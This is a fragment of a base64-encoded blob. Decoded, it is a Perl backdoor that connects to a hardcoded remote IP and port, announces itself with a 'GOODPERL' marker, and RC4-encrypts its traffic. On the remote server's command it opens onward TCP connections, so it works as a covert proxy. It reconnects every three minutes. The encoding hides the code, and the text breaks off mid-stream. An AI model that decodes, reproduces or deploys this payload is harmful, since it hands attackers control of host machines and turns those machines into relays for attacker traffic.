Y2tldGFycmF5OwoJIAoJIG15ICRidWZmZXIgPSAiXHgwMCIgeCAxMDA7CgkgCgkgbXkgJGJ1ZmZlcm51bGwgPSAiXHgwMCIgeCAzOwoJIAoJIG15ICRidWZmZXIwID0gIlx4MDAiIHggNjU1MzY7CgkgCgkgbXkgJGJ1ZmZlcjEgPSAiXHgwMCIgeCA2NTUzNjsKCSAKCSBteSAkaXNFeGl0ID0gMDsKCSAKCSBteSAkX3JldDAgPSAwOwoJIAoJIG15ICRlY3ggPSAwOwoJIAoJIG15ICRlYXggPSAwOwoJIAoJIG15ICRkYXRhID0gMDsKCSAKCSBteSAkX3JldCA9IDA7CgkgCgkgbXkgJGVieCA9IDA7CgkgCgkgbXkgJGVkeCA9IDA7CgkgCgkgbXkgJGNvdW50ZXIgPSAwOwoJIAoJIG15ICRjb3VudGNjID0gMDsKCQkgCgkgbXkgJHJpbiA9ICcnOwoJIAoJIG15ICRmbGFnczsKCSAKCSBteSAkc3RyX3dlYyA9ICJceDAwXHgwMCI7CgkgCgkgZm9yIChteSAkaSA9IDA7ICRpIDwgMjAwOyAkaSsrKSB7ICRzb2NrZXRhcnJheVskaV0gPSAwOyB9CgkgCgkgbXkgJHJlc3BvbmNlID0gIlx4MDBceDBBXHgwMFx4MDVceDAxXHgwMFx4MDFceDAwXHgwMFx4MDBceDAwXHgwMFx4MDAiOwoJIAoJIHNvY2tldCgkc29ja2V0YXJyWzBdLCBQRl9JTkVULCBTT0NLX1NUUkVBTSwgZ2V0cHJvdG9ieW5hbWUoJ3RjcCcpKTsKCSAKCSBzZXRzb2Nrb3B0KCRzb2NrZXRhcnJbMF0sIElQUFJPVE9fVENQLCBUQ1BfTk9ERUxBWSwgMSk7CgkgCgkgc2V0c29ja29wdCgkc29ja2V0YXJyWzBdLCBTT0xfU09DS0VULCBTT19SQ1ZCVUYsIDY1NTM2KTsKCSAKICAgICBzZXRzb2Nrb3B0KCRzb2NrZXRhcnJbMF0sIFNPTF9TT0NLRVQsIFNPX1NOREJVRiwgNjU1MzYpOwoJIAoJIG15ICRwYWRkciA9IHNvY2thZGRyX2luKCQkcG9ydCwgaW5ldF9hdG9uKCQkaG9zdCkpOwoJIAoJIHVubGVzcyhjb25uZWN0KCRzb2NrZXRhcnJbMF0sICRwYWRkcikpIHsgZ290byBjbG9zZTA7IH0KCSAKCSBzdWJzdHIoJGJ1ZmZlciwgMCwgNTApID0gJHhvcmRhdGE7CgkgCgkgc3Vic3RyKCRidWZmZXIsIDUwLCAyKSA9ICJceEZGXHhGRiI7CgkgCgkgc3Vic3RyKCRidWZmZXIsIDU0LCAxMSkgPSAiR09PRFBFUkwiOwoJIAoJIFJjNF9jcnlwdChcJHhvcmRhdGEsIDUwLCBcJGJ1ZmZlciwgNTAsIDUwKTsKCSAKCSBzeXN3cml0ZSgkc29ja2V0YXJyWzBdLCAkYnVmZmVyLCBsZW5ndGgoJGJ1ZmZlcikpOwoJIAoJIHdoaWxlKDEpIHsKCQkgCgkJICRjb3VudGNjID0gMDsKCQkgCgkJICRyaW4gPSAnJzsKCQkgCgkJIGZvciAobXkgJGkgPSAxOyAkaSA8IDIwMDsgJGkrKykgewoJCSAKCQkJIGlmICgkc29ja2V0YXJyYXlbJGldID09IDEpIHsKCQkJCSAKCQkJCSB2ZWMoJHJpbiwgZmlsZW5vKCRzb2NrZXRhcnJbJGldKSwgMSkgPSAxOwoJCQkJIAoJCQkJICRjb3VudGNjKys7CgkJCSB9CgkJIH0KCQkgCgkJIGlmICgkY291bnRjYyA+IDApIHsKCQkJIAoJCQkgdW5sZXNzIChzZWxlY3QoJHJpbiwgdW5kZWYsIHVuZGVmLCAwLjAwMSkpIHsgZ290byBuZXh0X187IH0KCQkJIAoJCQkgZm9yIChteSAkaSA9IDE7ICRpIDwgMjAwOyAkaSsrKSB7CgkJCQkgCgkJCQkgaWYgKCgkc29ja2V0YXJyYXlbJGldID09IDEpICYmIHZlYygkcmluLCBmaWxlbm8oJHNvY2tldGFyclskaV0pLCAxKSkgewoJCQkJCSAKCQkJCQkgJGRhdGEgPSBzeXNyZWFkKCRzb2NrZXRhcnJbJGldLCAkYnVmZmVyMSwgNjU1MzAsIDMpOwoJCQkJIAoJCQkJCSB1bmxlc3MgKCRkYXRhKSB7CgkJCQkJIAoJCQkJCQkgJHNvY2tldGFycmF5WyRpXSA9IDA7CgkJCQkJIAoJCQkJCQkgY2xvc2UoJHNvY2tldGFyclskaV0pOwoJCQkJCQkgCgkJCQkJCSB2ZWMoJHJlc3BvbmNlLCAwLCA4KSA9ICRpOwoJCSAKCQkJCQkJIHN1YnN0cigkcmVzcG9uY2UsIDEsIDIpID0gIlx4MDBceDAwIjsKCQkJCQkJIAoJCQkJCQkgUmM0X2NyeXB0KFwkeG9yZGF0YSwgNTAsIFwkcmVzcG9uY2UsIDAsIDMpOwoJCSAKCQkJCQkJIHN5c3dyaXRlKCRzb2NrZXRhcnJbMF0sICRyZXNwb25jZSwgMywgMCk7CgkJCQkJIAoJCQkJCSB9CgkJCQkgCgkJCQkJIGVsc2UgewoJCQkJCQkgCgkJCQkJCSB2ZWMoJGJ1ZmZlcjEsIDAsIDgpID0gJGk7CgkJCQkJCSAKCQkJCQkJIHZlYygkc3RyX3dlYywgMCwgMTYpID0gJGRhdGE7CgkJCQkJCSAKCQkJCQkJIHN1YnN0cigkYnVmZmVyMSwgMSwgMSkgPSBzdWJzdHIoJHN0cl93ZWMsIDEsIDEpOwoJCQkJCQkgCgkJCQkJCSBzdWJzdHIoJGJ1ZmZlcjEsIDIsIDEpID0gc3Vic3RyKCRzdHJfd2VjLCAwLCAxKTsKCQkJCQkJIAoJCQkJCQkgUmM0X2NyeXB0KFwkeG9yZGF0YSwgNTAsIFwkYnVmZmVyMSwgMCwgMyk7CgkJIAoJCQkJCQkgUmM0X2NyeXB0KFwkeG9yZGF0YSwgNTAsIFwkYnVmZmVyMSwgMywgJGRhdGEpOwoJCQkJIAoJCQkJCQkgc3lzd3JpdGUoJHNvY2tldGFyclswXSwgJGJ1ZmZlcjEsIDMgKyAkZGF0YSk7CgkJCQkJIAoJCQkJCSB9CgkJCQkgfQoJCQkgfQoJCSB9CgkJIAoJCSBuZXh0X186CgkJIAoJCSBpZiAoJHJlbWFpbmluZzQgIT0gNCkgewoJCQkgCgkJCSAkcmluID0gJyc7CgkJCSAKCQkJIHZlYygkcmluLCBmaWxlbm8oJHNvY2tldGFyclswXSksIDEpID0gMTsKCQkJIAoJCQkgbXkgJHJldCA9IHNlbGVjdCgkcmluLCB1bmRlZiwgdW5kZWYsIDAuMDEpOwoJCQkgCgkJCSBuZXh0IGlmICgkcmV0IDwgMCk7CgkJCSAKCQkJIGlmICgkcmV0ID09IDApIHsKCQkJCSAKCQkJCSAkY291bnRlcisrOwoJCQkJIAoJCQkJIGlmICgkY291bnRlciA9PSAxMDAgKiA2MCkgewoJCQkJCSAKCQkJCQkgJGNvdW50ZXIgPSAwOwoKCQkJCQkgbGFzdCBpZiAoc3Vic3RyKCRidWZmZXJudWxsLCAwLCAzKSBuZSAiXHgwMFx4MDBceDAwIik7CgkJCQkgCgkJCQkJIGxhc3QgaWYgKCRyZW1haW5pbmcgIT0gMCk7CgkJCQkgCgkJCQkJIGxhc3QgaWYgKCRyZW1haW5pbmc0ICE9IDApOwoJCQkJIAoJCQkJCSBSYzRfY3J5cHQoXCR4b3JkYXRhLCA1MCwgXCRidWZmZXJudWxsLCAwLCAzKTsKCQkJCSAKCQkJCQkgc3lzd3JpdGUoJHNvY2tldGFyclswXSwgJGJ1ZmZlcm51bGwsIGxlbmd0aCgkYnVmZmVybnVsbCkpOwoJCQkJIH0KCQkJCSAKCQkJCSBuZXh0OwoJCQl9CgkJCSAKCQl9CgkJIAoJCSBpZiAoJHJlbWFpbmluZyAhPSAwIHx8ICRyZW1haW5pbmc0ID09IDQpIHsKCQkJIAoJCQkgaWYgKCRlZHggPT0gMCkgewoJCQkJIAoJCQkJIGlmIChzdWJzdHIoJGJ1ZmZlcjAsIDAsIDEpIGVxICJceEZGIiAmJiBzdWJzdHIoJGJ1ZmZlcjAsIDEsIDEpIGVxICJceEZFIikgewoJCQkJCSAKCQkJCQkgJGlzRXhpdCA9IDE7CgkJCQkJIAoJCQkJCSBsYXN0OwoJCQkJCSAKCQkJCX0KCQkJCSAKCQkJCSBlbHNpZiAoJGVieCA8IDIwMCAmJiAkZWJ4ID4gMCAmJiAkc29ja2V0YXJyYXlbJGVieF0gPT0gMSkgewoJCQkJIAoJCQkJCSAkc29ja2V0YXJyYXlbJGVieF0gPSAwOwoJCQkJCSAKCQkJCQkgY2xvc2UoJHNvY2tldGFyclskZWJ4XSk7CgkJCQkJIAoJCQkJCSB2ZWMoJHJlc3BvbmNlLCAwLCA4KSA9ICRlYng7CgkJCQkJIAoJCQkJCSBzdWJzdHIoJHJlc3BvbmNlLCAxLCAyKSA9ICJceDAwXHgwMCI7CgkJIAoJCQkJCSBSYzRfY3J5cHQoXCR4b3JkYXRhLCA1MCwgXCRyZXNwb25jZSwgMCwgMyk7CgkJIAoJCQkJCSBzeXN3cml0ZSgkc29ja2V0YXJyWzBdLCAkcmVzcG9uY2UsIDMsIDApOwoJCQkJIAoJCQkJfQoJCQkKCQkJfQoJCQkKCQkJZWxzZSB7CgkJCQkKCQkJCSAkZWN4ID0gJGVkeDsKCQkJCQoJCQkJICRlY3ggPSAkZWN4IC0gJHJlbWFpbmluZzsKCQkJCSAKCQkJCSAkZGF0YSA9IHN5c3JlYWQoJHNvY2tldGFyclswXSwgJGJ1ZmZlcjAsICRlY3gsICRyZW1haW5pbmcgKyA0KTsKCQkJCQoJCQkJIHVubGVzcyAoJGRhdGEpIHsgbGFzdDsgfQoJCQkJIAoJCQkJICRyZW1haW5pbmcgKz0gJGRhdGE7CgkJCQkgCgkJCQkgaWYgKCRlZHggPT0gJHJlbWFpbmluZykgewoJCQkJCSAKCQkJCQkgUmM0X2NyeXB0KFwkeG9yZGF0YSwgNTAsIFwkYnVmZmVyMCwgNCwgJHJlbWFpbmluZyk7CgkJCQkJIAoJCQkJCSBpZiAodmVjKCRidWZmZXIwLCAwLCA4KSA9PSAwKSB7CgkJCQkJCSAKCQkJCQkJIHNvY2tldCgkc29ja2V0YXJyWyRlYnhdLCBQRl9JTkVULCBTT0NLX1NUUkVBTSwgZ2V0cHJvdG9ieW5hbWUoJ3RjcCcpKTsKCQkJCQkJIAoJCQkJCQkgJF9yZXQwID0gMDsKCQkJCQkJIAoJCQkJCQkgJHNvY2tldGFycmF5WyRlYnhdID0gMTsKCQkJCQkJIAoJCQkJCQkgc3Vic3RyKCRyZXNwb25jZSwgMCwgMTMpID0gIlx4MDBceDBBXHgwMFx4MDVceDAxXHgwMFx4MDFceDAwXHgwMFx4MDBceDAwXHgwMFx4MDAiOwoJCQkJCQkgCgkJCQkJCSB2ZWMoJHJlc3BvbmNlLCAwLCA4KSA9ICRlYng7CgkJCQkJCSAKCQkJCQkJIHNldHNvY2tvcHQoJHNvY2tldGFyclskZWJ4XSwgSVBQUk9UT19UQ1AsIFRDUF9OT0RFTEFZLCAxKTsKCQkJCQkJIAoJCQkJCQkgc2V0c29ja29wdCgkc29ja2V0YXJyWyRlYnhdLCBTT0xfU09DS0VULCBTT19SQ1ZCVUYsIDY1NTM2KTsKCSAKCQkJCQkJIHNldHNvY2tvcHQoJHNvY2tldGFyclskZWJ4XSwgU09MX1NPQ0tFVCwgU09fU05EQlVGLCA2NTUzNik7CgkJCQkJCSAKCQkJCQkJIGZjbnRsKCRzb2NrZXRhcnJbJGVieF0sIEZfU0VURkwsIGZjbnRsKCRzb2NrZXRhcnJbJGVieF0sIEZfR0VURkwsIDApIHwgT19OT05CTE9DSyk7CgkJCQkJCSAKCQkJCQkJIGlmICh2ZWMoJGJ1ZmZlcjAsIDcsIDgpID09IDMpIHsKCQkJCgkJCQkJCQkgJGRvbWFpbiA9IHN1YnN0cigkYnVmZmVyMCwgOSwgdmVjKCRidWZmZXIwLCA4LCA4KSk7CgkJCQoJCQkJCQkJIHN1YnN0cigkc3RyX3dlYywgMCwgMSkgPSBzdWJzdHIoJGJ1ZmZlcjAsIDkgKyB2ZWMoJGJ1ZmZlcjAsIDgsIDgpICsgMCwgMSk7CgkJCQkJCQkgCgkJCQkJCQkgc3Vic3RyKCRzdHJfd2VjLCAxLCAxKSA9IHN1YnN0cigkYnVmZmVyMCwgOSArIHZlYygkYnVmZmVyMCwgOCwgOCkgKyAxLCAxKTsKCQkJCQkJCgkJCQkJCQkgJHBvcnQwID0gdmVjKCRzdHJfd2VjLCAwLCAxNik7CgkJCQoJCQkJCQkgfQoJCQoJCQkJCQkgZWxzaWYgKHZlYygkYnVmZmVyMCwgNywgOCkgPT0gMSkgewoJCQkKCQkJCQkJCSAkZG9tYWluID0gc3ByaW50ZigiJWQuJWQuJWQuJWQiLCB2ZWMoJGJ1ZmZlcjAsIDggKyAwLCA4KSwgdmVjKCRidWZmZXIwLCA4ICsgMSwgOCksIHZlYygkYnVmZmVyMCwgOCArIDIsIDgpLCB2ZWMoJGJ1ZmZlcjAsIDggKyAzLCA4KSk7CgkJCQoJCQkJCQkJIHN1YnN0cigkc3RyX3dlYywgMCwgMSkgPSBzdWJzdHIoJGJ1ZmZlcjAsIDEyICsgMCwgMSk7CgkJCQkJCQkgCgkJCQkJCQkgc3Vic3RyKCRzdHJfd2VjLCAxLCAxKSA9IHN1YnN0cigkYnVmZmVyMCwgMTIgKyAxLCAxKTsKCQkJCQkJCSAKCQkJCQkJCSAkcG9ydDAgPSAgdmVjKCRzdHJfd2VjLCAwLCAxNik7CgkJCQoJCQkJCQkgfQoJCQoJCQkJCQkgZWxzZSB7CgkJCQoJCQkJCQkJIGdvdG8gY2xvc2VfOwoJCQkJCQkgfQoJCQkJCQkgCgkJCQkJCSBldmFsIHsKCQkJIAoJCQkJCQkJIG15ICRwYWRkciA9IHNvY2thZGRyX2luKCRwb3J0MCwgaW5ldF9hdG9uKCRkb21haW4pKTsKCQkKCQkJCQkJCSBjb25uZWN0KCRzb2NrZXRhcnJbJGVieF0sICRwYWRkcik7CgkJIAoJCQkJCQkJIHZlYyhteSAkd2luID0gJycsIGZpbGVubygkc29ja2V0YXJyWyRlYnhdKSwgMSkgPSAxOwoKCQkJCQkJCSB1bmxlc3MgKHNlbGVjdCh1bmRlZiwgJHdpbiwgdW5kZWYsIDEpKSB7IGdvdG8gY2xvc2VfOyB9CgkJCQoJCQkJCQkJIGZjbnRsKCRzb2NrZXRhcnJbJGVieF0sIEZfU0VURkwsIGZjbnRsKCRzb2NrZXRhcnJbJGVieF0sIEZfR0VURkwsIDApIF4gT19OT05CTE9DSyk7CgkJIAoJCQkJCQkJIHN1YnN0cigkcmVzcG9uY2UsIDQsIDEpID0gIlx4MDAiOwoJCSAKCQkJCQkJCSAkX3JldDAgPSAxOwoJCQkgCgkJCQkJCSB9OwoJCSAKCQkJCQkJIGNsb3NlXzoKCQkJCQkJIAoJCQkJCQkgUmM0X2NyeXB0KFwkeG9yZGF0YSwgNTAsIFwkcmVzcG9uY2UsIDAsIDMpOwoJCSAKCQkJCQkJIFJjNF9jcnlwdChcJHhvcmRhdGEsIDUwLCBcJHJlc3BvbmNlLCAzLCAxMCk7CgkJIAoJCQkJCQkgc3lzd3JpdGUoJHNvY2tldGFyclswXSwgJHJlc3BvbmNlLCBsZW5ndGgoJHJlc3BvbmNlKSk7CgkJCQkJCSAKCQkJCQkJIGlmICgkX3JldDAgPT0gMCkgewoJCQkJCQkJIAoJCQkJCQkJICRzb2NrZXRhcnJheVskZWJ4XSA9IDA7CgkJIAoJCQkJCQkJIGNsb3NlKCRzb2NrZXRhcnJbJGVieF0pOwoJCQkJCQkJIAoJCQkJCQkJIHZlYygkcmVzcG9uY2UsIDAsIDgpID0gJGVieDsKCQkJCQkJCSAKCQkJCQkJCSBzdWJzdHIoJHJlc3BvbmNlLCAxLCAyKSA9ICJceDAwXHgwMCI7CgkJIAoJCQkJCQkJIFJjNF9jcnlwdChcJHhvcmRhdGEsIDUwLCBcJHJlc3BvbmNlLCAwLCAzKTsKCQkgCgkJCQkJCQkgc3lzd3JpdGUoJHNvY2tldGFyclswXSwgJHJlc3BvbmNlLCAzLCAwKTsKCQkJCQkJCSAKCQkJCQkJIH0KCQkJCQkJIAoJCQkJCX0KCQkJCQkKCQkJCQkgZWxzaWYgKCRzb2NrZXRhcnJheVskZWJ4XSA9PSAxKSB7CgkJCQkJCSAKCQkJCQkJIHN5c3dyaXRlKCRzb2NrZXRhcnJbJGVieF0sICRidWZmZXIwLCAkcmVtYWluaW5nLCA0KTsKCQkJCQkJIAoJCQkJCQkgCgkJCQkJfQoJCQkJCSAKCQkJCQkgJHJlbWFpbmluZyA9IDA7CgkJCQl9CgkJCQkKCQkJfQoJCQkgCgkJCSAkcmVtYWluaW5nNCA9IDA7CgkJCSAKCQl9CgkJCgkJZWxzZSB7CgkJCQoJCQkgJGVheCA9IDQ7CgkJCQoJCQkgJGVheCA9ICRlYXggLSAkcmVtYWluaW5nNDsKCQkJIAoJCQkgJGRhdGEgPSBzeXNyZWFkKCRzb2NrZXRhcnJbMF0sICRidWZmZXIwLCAkZWF4LCAkcmVtYWluaW5nNCk7CgkJCSAKCQkJIHVubGVzcyAoJGRhdGEpIHsgbGFzdDsgfQoJCQkgCgkJCSAkcmVtYWluaW5nNCArPSAkZGF0YTsKCQkJIAoJCQkgc3Vic3RyKCRidWZmZXJudWxsLCAwLCAzKSA9ICJceDAwXHgwMFx4MDAiOwoJCQkgCgkJCSAkY291bnRlciA9IDA7CgkJCSAKCQkJIGlmICgkcmVtYWluaW5nNCA9PSA0KSB7CgkJCQkgCgkJCQkgUmM0X2NyeXB0KFwkeG9yZGF0YSwgNTAsIFwkYnVmZmVyMCwgMCwgNCk7CgkJCQkgCgkJCQkgJGVieCA9IHZlYygkYnVmZmVyMCwgMSwgOCk7CgkJCQkgCgkJCQkgc3Vic3RyKCRzdHJfd2VjLCAwLCAxKSA9IHN1YnN0cigkYnVmZmVyMCwgMywgMSk7CgkJCQkgCgkJCQkgc3Vic3RyKCRzdHJfd2VjLCAxLCAxKSA9IHN1YnN0cigkYnVmZmVyMCwgMiwgMSk7CgkJCQkgCgkJCQkgJGVkeCA9IHZlYygkc3RyX3dlYywgMCwgMTYpOwoJCQkgCgkJCQkgJF9yZXQgPSAxOwoJCQl9CgkJCQoJCX0KCX0KCQoJIGNsb3NlMDoKCSAKCSBjbG9zZSgkc29ja2V0YXJyWzBdKTsKCSAKCSBmb3IgKG15ICRpID0gMDsgJGkgPCAyMDA7ICRpKyspIHsKCgkJIGlmICgkc29ja2V0YXJyYXlbJGldID09IDEpIHsgY2xvc2UoJHNvY2tldGFyclskaV0pOyB9CgkJIAoJIH0KCSAKCSBpZiAoJGlzRXhpdCA9PSAxKSB7IGV4aXQ7IH0KCSAKCSByZXR1cm4gJF9yZXQ7Cgp9Cgp3aGlsZSgxKQp7CgkgYmNjbmN0KFwkaG9zdCwgXCRwb3J0KTsKCSAKCSBzbGVlcCAxODA7Cn0K" x "IyEvdXNyL2Jpbi9lbnYgcGVybAoKdXNlIHN0cmljdDsKdXNlIHdhcm5pbmdzOwp1c2UgU29ja2V0Owp1c2UgU29ja2V0IHF3KElQUFJPVE9fVENQIFRDUF9OT0RFTEFZKTsKdXNlIEZjbnRsIHF3KEZfR0VURkwgRl9TRVRGTCBPX05PTkJMT0NLKTsKCm15ICRob3N0ID0gJzYyLjYwLjEzMS4xODgnOwpteSAkcG9ydCA9IDQwMDE7CgpteSAkeG9yZGF0YSA9ICJceDAwIiB4IDUwOwoKZm9yIChteSAkaSA9IDA7ICRpIDwgNTA7ICRpKyspIHsgdmVjKCR4b3JkYXRhLCAkaSwgOCkgPSBpbnQocmFuZCgyNTUpKTsgfQoKc3ViIFJjNF9jcnlwdCB7CgkgCgkgbXkgJHBhc3N3ID0gc2hpZnQoQF8pOwoJIAoJIG15ICRsZW5ndGggPSBzaGlmdChAXyk7CgkgCgkgbXkgJGJ1ZmYwID0gc2hpZnQoQF8pOwoJIAoJIG15ICRzdGFydCA9IHNoaWZ0KEBfKTsKCSAKCSBteSAkc3ogPSBzaGlmdChAXyk7CgkgCgkgbXkgJHJjNCA9ICJceDAwIiB4IDI1NjsKCSAKCSBteSAkcG9ja2Vtb24wID0gMDsKCQoJIG15ICRwb2NrZW1vbjEgPSAwOwoJCgkgbXkgJHBvY2tlbW9uMiA9IDA7CgkKCSBteSAkcG9ja2Vtb24zID0gMDsKCQoJIG15ICRwb2NrZW1vbjQgPSAwOwoJCgkgbXkgJHBvY2tlbW9uNyA9IDA7CgkKCSBteSAkcG9ja2Vtb244ID0gMDsKCSAKCSBteSAkcmN4ID0gJHN6OwoJIAoJIG15ICRyc2kgPSAwOwoJIAoJIG15ICRyYnggPSAwOwoJIAoJIG15ICRncyA9IDA7CgkgCgkgdmVjKCRyYzQsICRfLCA4KSA9ICRfIGZvciAwLi4yNTU7CgkgCgkgZG8gewoJCSAKCQkgdmVjKCQkYnVmZjAsICRzdGFydCArICRyc2ksIDgpID0gKHZlYygkJGJ1ZmYwLCAkc3RhcnQgKyAkcnNpLCA4KSBeIHZlYygkJHBhc3N3LCAkcmJ4LCA4KSk7CgkJIAoJCSAkcnNpKys7CgkJCgkJICRyYngrKzsKCQkKCQkgJHJjeC0tOwoJCQoJCSBpZiAoJHJieCA9PSAkbGVuZ3RoKSB7CgkJCSAKCQkJICRyYnggPSAwOwoJCX0KCQkgCgl9IHdoaWxlKCRyY3ggPiAwKTsKCQoJCgkgd2hpbGUoMSkgewoJCSAKCQkgaWYgKCRncyA9PSAwKSB7CgkJCSAKCQkJICRwb2NrZW1vbjIgPSAwOwoKCQkJICRwb2NrZW1vbjMgPSAkbGVuZ3RoOwoJCX0KCQkgCgkJIGlmICgkZ3MgIT0gMCkgewoJCQkgCgkJCSAkZ3MgPSAwOwoKCQkJICRwb2NrZW1vbjIrKzsKCgkJCSBpZiAoLS0kcG9ja2Vtb24zID09IDApIHsgbmV4dDsgfQoJCQkgCgkJfQoJCQoJCSAkcG9ja2Vtb243ID0gdmVjKCRyYzQsICRwb2NrZW1vbjAsIDgpOwoJCSAKCQkgJHBvY2tlbW9uMSArPSB2ZWMoJCRwYXNzdywgJHBvY2tlbW9uMiwgOCk7CgoJCSAkcG9ja2Vtb24xID0gJHBvY2tlbW9uMSAmIDI1NTsKCgkJICRwb2NrZW1vbjEgKz0gJHBvY2tlbW9uNzsKCgkJICRwb2NrZW1vbjEgPSAkcG9ja2Vtb24xICYgMjU1OwoKCQkgdmVjKCRyYzQsICRwb2NrZW1vbjAsIDgpID0gdmVjKCRyYzQsICRwb2NrZW1vbjEsIDgpOwoKCQkgdmVjKCRyYzQsICRwb2NrZW1vbjEsIDgpID0gJHBvY2tlbW9uNzsKCQkgCgkJICRwb2NrZW1vbjArKzsKCgkJICRwb2NrZW1vbjAgPSAkcG9ja2Vtb24wICYgMjU1OwoJCSAKCQkgaWYgKCRwb2NrZW1vbjAgIT0gMCkgewoJCQkgCgkJCSAkZ3MgPSAxOwoJCQkgCgkJCSBuZXh0OwoJCX0KCQkKCQkgJHBvY2tlbW9uNCA9ICRzejsKCgkJICRwb2NrZW1vbjEgPSAwOwoKCQkgJHBvY2tlbW9uMCA9IDA7CgoJCSAkcG9ja2Vtb24yID0gMDsKCgkJICRwb2NrZW1vbjMgPSAwOwoJCSAKCQkgd2hpbGUoMSkgewoJCQkgCgkJCSAkcG9ja2Vtb24yKys7CgoJCQkgJHBvY2tlbW9uMiA9ICRwb2NrZW1vbjIgJiAyNTU7CgoJCQkgJHBvY2tlbW9uNyA9IHZlYygkcmM0LCAkcG9ja2Vtb24yLCA4KTsKCQkJIAoJCQkgJHBvY2tlbW9uMSArPSAkcG9ja2Vtb243OwoKCQkJICRwb2NrZW1vbjEgPSAkcG9ja2Vtb24xICYgMjU1OwoKCQkJICRwb2NrZW1vbjggPSB2ZWMoJHJjNCwgJHBvY2tlbW9uMSwgOCk7CgkJCSAKCQkJIHZlYygkcmM0LCAkcG9ja2Vtb24yLCA4KSA9ICRwb2NrZW1vbjg7CgkJCSAKCQkJIHZlYygkcmM0LCAkcG9ja2Vtb24xLCA4KSA9ICRwb2NrZW1vbjc7CgoJCQkgJHBvY2tlbW9uOCArPSAkcG9ja2Vtb243OwoJCgkJCSAkcG9ja2Vtb244ID0gJHBvY2tlbW9uOCAmIDI1NTsKCQkJIAoJCQkgdmVjKCQkYnVmZjAsICRzdGFydCArICRwb2NrZW1vbjMsIDgpID0gdmVjKCRyYzQsICRwb2NrZW1vbjgsIDgpIF4gdmVjKCQkYnVmZjAsICRzdGFydCArICRwb2NrZW1vbjMsIDgpOwoJCQkgCgkJCSAkcG9ja2Vtb24zKys7CgkJCSAKCQkJIGlmICgtLSRwb2NrZW1vbjQgPT0gMCkKCQkJIHsKCQkJCSBsYXN0OwoJCQkgfQoJCQkgCgkJfQoJCSAKCQkgbGFzdDsKCX0KCQoJICRyc2kgPSAwOwoJCgkgJHJjeCA9ICRzejsKCQoJICRyYnggPSAwOwoJCgkgZG8gewoJCSAKCQkgdmVjKCQkYnVmZjAsICRzdGFydCArICRyc2ksIDgpID0gKHZlYygkJGJ1ZmYwLCAkc3RhcnQgKyAkcnNpLCA4KSBeIHZlYygkJHBhc3N3LCAkcmJ4LCA4KSk7CgkJIAoJCSAkcnNpKys7CgkJCgkJICRyYngrKzsKCQkKCQkgJHJjeC0tOwoJCQoJCSBpZiAoJHJieCA9PSAkbGVuZ3RoKSB7CgkJCSAKCQkJICRyYnggPSAwOwoJCX0KCQkgCgl9IHdoaWxlKCRyY3ggPiAwKTsKCQp9CgpzdWIgYmNjbmN0IHsKCgkgbXkgJGhvc3QgPSBzaGlmdChAXyk7CgkgCgkgbXkgJHBvcnQgPSBzaGlmdChAXyk7CgkgCgkgbXkgJHJlbWFpbmluZyA9IDA7CgkgCgkgbXkgJHJlbWFpbmluZzQgPSAwOwoJIAoJIG15ICRkb21haW47CgkgCgkgbXkgJHBvcnQwOwoJIAoJIG15IEBzb2NrZXRhcnI7CgkgCgkgbXkgQHNvY2tldGFycmF5OwoJIAoJIG15ICRidWZmZXIgPSAiXHgwMCIgeCAxMDA7CgkgCgkgbXkgJGJ1ZmZlcm51bGwgPSAiXHgwMCIgeCAzOwoJIAoJIG15ICRidWZmZXIwID0gIlx4MDAiIHggNjU1MzY7CgkgCgkgbXkgJGJ1ZmZlcjEgPSAiXHgwMCIgeCA2NTUzNjsKCSAKCSBteSAkaXNFeGl0ID0gMDsKCSAKCSBteSAkX3JldDAgPSAwOwoJIAoJIG15ICRlY3ggPSAwOwoJIAoJIG15ICRlYXggPSAwOwoJIAoJIG15ICRkYXRhID0gMDsKCSAKCSBteSAkX3JldCA9IDA7CgkgCgkgbXkgJGVieCA9IDA7CgkgCgkgbXkgJGVkeCA9IDA7CgkgCgkgbXkgJGNvdW50ZXIgPSAwOwoJIAoJIG15ICRjb3VudGNjID0gMDsKCQkgCgkgbXkgJHJpbiA9ICcnOwoJIAoJIG15ICRmbGFnczsKCSAKCSBteSAkc3RyX3dlYyA9ICJceDAwXHgwMCI7CgkgCgkgZm9yIChteSAkaSA9IDA7ICRpIDwgMjAwOyAkaSsrKSB7ICRzb2NrZXRhcnJheVskaV0gPSAwOyB9CgkgCgkgbXkgJHJlc3BvbmNlID0gIlx4MDBceDBBXHgwMFx4MDVceDAxXHgwMFx4MDFceDAwXHgwMFx4MDBceDAwXHgwMFx4MDAiOwoJIAoJIHNvY2tldCgkc29ja2V0YXJyWzBdLCBQRl9JTkVULCBTT0NLX1NUUkVBTSwgZ2V0cHJvdG9ieW5hbWUoJ3RjcCcpKTsKCSAKCSBzZXRzb2Nrb3B0KCRzb2NrZXRhcnJbMF0sIElQUFJPVE9fVENQLCBUQ1BfTk9ERUxBWSwgMSk7CgkgCgkgc2V0c29ja29wdCgkc29ja2V0YXJyWzBdLCBTT0xfU09DS0VULCBTT19SQ1ZCVUYsIDY1NTM2KTsKCSAKICAgICBzZXRzb2Nrb3B0KCRzb2NrZXRhcnJbMF0sIFNPTF9TT0NLRVQsIFNPX1NOREJVRiwgNjU1MzYpOwoJIAoJIG15ICRwYWRkciA9IHNvY2thZGRyX2luKCQkcG9ydCwgaW5ldF9hdG9uKCQkaG9zdCkpOwoJIAoJIHVubGVzcyhjb25uZWN0KCRzb2NrZXRhcnJbMF0sICRwYWRkcikpIHsgZ290byBjbG9zZTA7IH0KCSAKCSBzdWJzdHIoJGJ1ZmZlciwgMCwgNTApID0gJHhvcmRhdGE7CgkgCgkgc3Vic3RyKCRidWZmZXIsIDUwLCAyKSA9ICJceEZGXHhGRiI7CgkgCgkgc3Vic3RyKCRidWZmZXIsIDU0LCAxMSkgPSAiR09PRFBFUkwiOwoJIAoJIFJjNF9jcnlwdChcJHhvcmRhdGEsIDUwLCBcJGJ1ZmZlciwgNTAsIDUwKTsKCSAKCSBzeXN3cml0ZSgkc29ja2V0YXJyWzBdLCAkYnVmZmVyLCBsZW5ndGgoJGJ1ZmZlcikpOwoJIAoJIHdoaWxlKDEpIHsKCQkgCgkJICRjb3VudGNjID0gMDsKCQkgCgkJICRyaW4gPSAnJzsKCQkgCgkJIGZvciAobXkgJGkgPSAxOyAkaSA8IDIwMDsgJGkrKykgewoJCSAKCQkJIGlmICgkc29ja2V0YXJyYXlbJGldID09IDEpIHsKCQkJCSAKCQkJCSB2ZWMoJHJpbiwgZmlsZW5vKCRzb2NrZXRhcnJbJGldKSwgMSkgPSAxOwoJCQkJIAoJCQkJICRjb3VudGNjKys7CgkJCSB9CgkJIH0KCQkgCgkJIGlmICgkY291b